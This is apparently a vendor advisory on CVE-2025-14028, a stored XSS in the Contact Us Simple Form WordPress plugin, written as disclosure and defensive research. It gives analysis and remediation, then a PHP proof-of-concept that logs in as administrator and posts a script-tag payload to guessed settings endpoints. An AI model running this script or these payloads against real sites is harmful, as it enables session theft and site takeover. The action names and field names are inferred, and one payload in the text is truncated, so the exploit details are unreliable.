Atomic Edge analysis of CVE-2025-14028 (metadata-based):
This vulnerability is an authenticated Stored Cross-Site Scripting (XSS) flaw in the Contact Us Simple Form WordPress plugin version 1.0. The vulnerability exists within the plugin’s admin settings interface. Attackers with administrator-level privileges can inject malicious scripts that persist in the plugin’s configuration. These scripts execute when any user accesses a page containing the compromised settings. The CVSS score of 4.4 reflects a medium severity issue with network attack vector, high attack complexity, and high privileges required.
Atomic Edge research infers the root cause is improper input sanitization and output escaping within the plugin’s settings management code. The CWE-79 classification confirms the plugin fails to neutralize user-controlled input before embedding it into web pages. The vulnerability description explicitly states insufficient sanitization on user-supplied attributes. Without access to source code, Atomic Edge cannot confirm the exact vulnerable function. The vulnerability likely resides in a settings save handler that processes administrator input and stores it without proper sanitization functions like `sanitize_text_field` or output escaping functions like `esc_attr`.
Exploitation requires an authenticated attacker with administrator privileges. The attacker accesses the plugin’s settings page in the WordPress admin area. They inject malicious JavaScript payloads into configuration fields that accept user input. Based on WordPress plugin patterns, the attack vector is likely a POST request to `/wp-admin/admin-post.php` or an AJAX handler at `/wp-admin/admin-ajax.php` with an action parameter containing the plugin slug. A realistic payload would be `alert(document.cookie)` or `
` inserted into a field like ‘form_title’, ‘success_message’, or other text-based settings. The stored payload executes whenever the plugin renders the affected setting on any page.
Remediation requires implementing proper input validation and output escaping. The plugin should apply WordPress core sanitization functions like `sanitize_text_field` or `wp_kses` to all user-controlled settings before storage. Output escaping functions like `esc_html`, `esc_attr`, or `wp_kses` must be used when rendering these values in HTML contexts. A proper fix would also implement capability checks and nonce verification for all settings update requests, though these are separate security measures.
Successful exploitation allows attackers with administrator access to execute arbitrary JavaScript in the context of any user viewing pages with the compromised plugin settings. This can lead to session hijacking, administrative account takeover, content defacement, or redirection to malicious sites. The stored nature means the payload persists across sessions and affects all site visitors. Attackers could use this vulnerability to create backdoor admin accounts, steal sensitive data, or deploy malware. The requirement for administrator credentials limits immediate risk but enables privilege persistence if an admin account is compromised through other means.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-14028 - Contact Us Simple Form <= 1.0 - Authenticated (Administrator+) Stored Cross-Site Scripting via Plugin Settings
<?php
/**
* Proof of Concept for CVE-2025-14028
* Assumptions based on metadata:
* 1. Plugin uses standard WordPress admin settings update mechanism
* 2. Settings are saved via admin-post.php or admin-ajax.php
* 3. No nonce verification or insufficient sanitization exists
* 4. Administrator credentials are required
*/
$target_url = 'https://example.com'; // CHANGE THIS
$username = 'admin'; // Administrator username
$password = 'password'; // Administrator password
// Payload to inject - basic XSS proof
$payload = '<script>alert("Atomic Edge CVE-2025-14028 PoC");</script>';
// Initialize cURL session for WordPress login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
// Check login success by looking for admin dashboard indicators
if (strpos($response, 'wp-admin') === false && strpos($response, 'Dashboard') === false) {
die('Login failed. Check credentials.');
}
// Attempt to exploit via admin-post.php (common WordPress pattern)
// The exact parameter names are inferred from plugin slug and typical settings fields
$exploit_url = $target_url . '/wp-admin/admin-post.php';
$post_fields = [
'action' => 'contact_us_simple_form_save_settings', // Inferred action name
'form_title' => $payload, // Likely vulnerable field
'success_message' => 'Form submitted successfully ' . $payload, // Another possible field
'submit' => 'Save Settings'
];
curl_setopt($ch, CURLOPT_URL, $exploit_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));
$response = curl_exec($ch);
// Check for success indicators
if (strpos($response, 'Settings saved') !== false || strpos($response, 'updated') !== false) {
echo "Payload injected successfully.n";
echo "Visit any page with the contact form to trigger XSS.n";
} else {
echo "Injection may have failed. Trying alternative endpoint...n";
// Try admin-ajax.php alternative
$exploit_url = $target_url . '/wp-admin/admin-ajax.php';
$post_fields = [
'action' => 'contact_us_simple_form_update',
'data' => json_encode(['message' => $payload, 'title' => $payload])
];
curl_setopt($ch, CURLOPT_URL, $exploit_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));
$response = curl_exec($ch);
if (strpos($response, 'success') !== false || strpos($response, '1') !== false) {
echo "Payload injected via AJAX endpoint.n";
} else {
echo "Could not confirm successful exploitation.n";
echo "Response length: " . strlen($response) . "n";
}
}
curl_close($ch);
unlink('cookies.txt');
?>
